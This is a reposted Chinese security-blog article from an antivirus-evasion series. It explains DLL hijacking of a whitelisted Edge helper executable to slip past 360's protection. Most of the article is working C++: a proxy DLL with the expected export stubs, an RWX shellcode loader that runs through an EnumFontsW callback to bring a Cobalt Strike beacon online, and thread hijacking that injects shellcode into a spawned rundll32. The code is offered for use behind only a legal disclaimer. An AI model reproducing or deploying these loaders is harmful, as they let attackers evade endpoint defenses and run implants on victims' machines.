『免杀系列』DLL劫持

admin 2024年8月19日16:30:55评论114 views字数 4660阅读15分32秒阅读模式

『免杀系列』DLL劫持

日期:2024/08/15

作者:Corl

介绍:DLL劫持挖掘。

0x00 前言

白加黑的方式(DLL劫持)可以对抗360核晶,白就是此文件在杀软的白名单中,不会被杀软查杀,黑就是我们自己编写的带恶意代码的dll文件,那么怎么进行白加黑的挖掘呢?

0x01 DLL劫持原理

首先来理解DLLWindows系统中的作用,DLL全称Dynamic Link Library,称为动态链接库,在Windows系统中,大多数程序并不是一个单独的可执行文件,而是有一些单独的存放动态链接库在系统中,当需要某些功能时,通过DLL执行相应的功能,即DLL调用。

『免杀系列』DLL劫持

那么既然程序执行某些功能时,可能会通过DLL调用,从利用角度来看,如果替换了这个DLL文件,或则导出了原DLL的导出函数并恶意构造,在原程序运行时调用了我们预先构造好的恶意DLL,那么就达到了劫持的效果。

0x02 DLL加载顺序

Windows 7之后:微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。KnownDLLs列表,注册表查询如下:

reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs"
『免杀系列』DLL劫持

加载顺序:

1.EXE所在目录2.当前目录3.系统目录(C:WindowsSystem32目录)4.Windows目录(C:Windows5.环境变量PATH所包含的目录

0x03 Dll劫持挖掘

首先,把想要劫持的exe拖到一个空的文件夹中。如果想查看所加载的dll,最简单的方法就是直接去双击exe,如果缺少dll,那么就会进行弹框提示,但是这种方法并不可以找到全部所加载的dll文件。双击运行identity_helper.exe,会提示找不到msedge_elf.dll

『免杀系列』DLL劫持

第二种方法就是使用process Monitor Filter,该工具可以看到运行该exe所加载的全部dll文件。运行process Monitor Filter工具,添加过滤条件。

『免杀系列』DLL劫持

identity_helper.exe进程进行监控,重点关注程序所在目录的dll,可以看见缺少msedge_elf.dlldbghelp.dllWINMM.dll

『免杀系列』DLL劫持

使用CFF Explorer工具,打开identity_helper.exe,查看文件位数以及导入目录。这里以劫持msedge_elf.dll为例,点击msedge_elf.dll就可以看到该dll存在GetInstallDetailsPayloadSignalInitializeCrashReporting导出函数。

『免杀系列』DLL劫持

自定义GetInstallDetailsPayloadSignalInitializeCrashReporting函数。

extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){}extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}

使用MessageBox进行弹框,看看该exe是否使用了该函数,如果使用了该函数,那么程序运行的时候就会弹框。分别在GetInstallDetailsPayloadSignalInitializeCrashReportingdllmain中添加。

MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK);

代码如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <Windows.h>extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){    MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);}extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {    MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);}BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH: {        MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK);    }    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

可以看出首先运行的是dllmain中的,然后再是GetInstallDetailsPayload,其次是SignalInitializeCrashReporting

『免杀系列』DLL劫持
『免杀系列』DLL劫持

『免杀系列』DLL劫持

既然在dllmainGetInstallDetailsPayloadSignalInitializeCrashReporting中都会执行,首先在dllmain中添加恶意代码,进行上线测试。

    unsigned char payload[] = {shellcode};    void* p = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);    memcpy(p, payload, sizeof(payload));    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);

双击运行identity_helper.exe,可见identity_helper.exe已经在运行中了。

『免杀系列』DLL劫持

但是cs并没有上线,为啥呢???

『免杀系列』DLL劫持

因为dllmain存在死锁问题,那么怎么解决dllmain死锁问题呢,就是使用导出函数上线。

『免杀系列』DLL劫持

把恶意代码复制进GetInstallDetailsPayload函数中,运行identity_helper.exe成功上线。

『免杀系列』DLL劫持

完整代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <Windows.h>extern "C" __declspec(dllexport) void GetInstallDetailsPayload() {    unsigned char payload[] = {shellcode};    void* p = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);    memcpy(p, payload, sizeof(payload));    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);}extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH: {}    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

那么,除了使用导出函数上线,dllmain就没有办法上线了吗???

『免杀系列』DLL劫持

这肯定不是的,如果要想使用dllmain进行上线,可以使用进程注入或线程劫持的方式上线,但都不是在原进程上线。这里采用线程劫持的方式上线的方式上线,x64劫持的就是ripx86劫持的就是eip,劫持的进程为rundll32

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <Windows.h>extern "C" __declspec(dllexport) void GetInstallDetailsPayload() {}extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}unsigned char payload[] = {shellcode};SIZE_T payload_len = sizeof(payload);BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH: {        STARTUPINFOA si = { 0 };        si.cb = sizeof(si);        PROCESS_INFORMATION pi = { 0 };        CreateProcessA(NULL, (LPSTR)"rundll32", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);        SuspendThread(pi.hThread);        LPVOID Buffer = VirtualAllocEx(pi.hProcess, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);        WriteProcessMemory(pi.hProcess, Buffer, payload, payload_len, NULL);        CONTEXT ctx = { 0 };        ctx.ContextFlags = CONTEXT_ALL;        GetThreadContext(pi.hThread, &ctx);        ctx.Rip = (DWORD64)Buffer;        SetThreadContext(pi.hThread, &ctx);        ResumeThread(pi.hThread);    }    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}
『免杀系列』DLL劫持

0x04 总结

DLL劫持上线分为两种,一种是dllmain上线,但是会存在死锁问题,要想在dllmain上线,可以使用进程注入或线程劫持的方式,另一种就是导出函数上线。除了手动去进行挖掘DLL劫持,那么还可以尝试使用工具去进行挖掘,最后祝大家挖到好用的白加黑。

『免杀系列』DLL劫持

文章来源:宸极实验室

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):『免杀系列』DLL劫持

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月19日16:30:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『免杀系列』DLL劫持http://cn-sec.com/archives/3079893.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息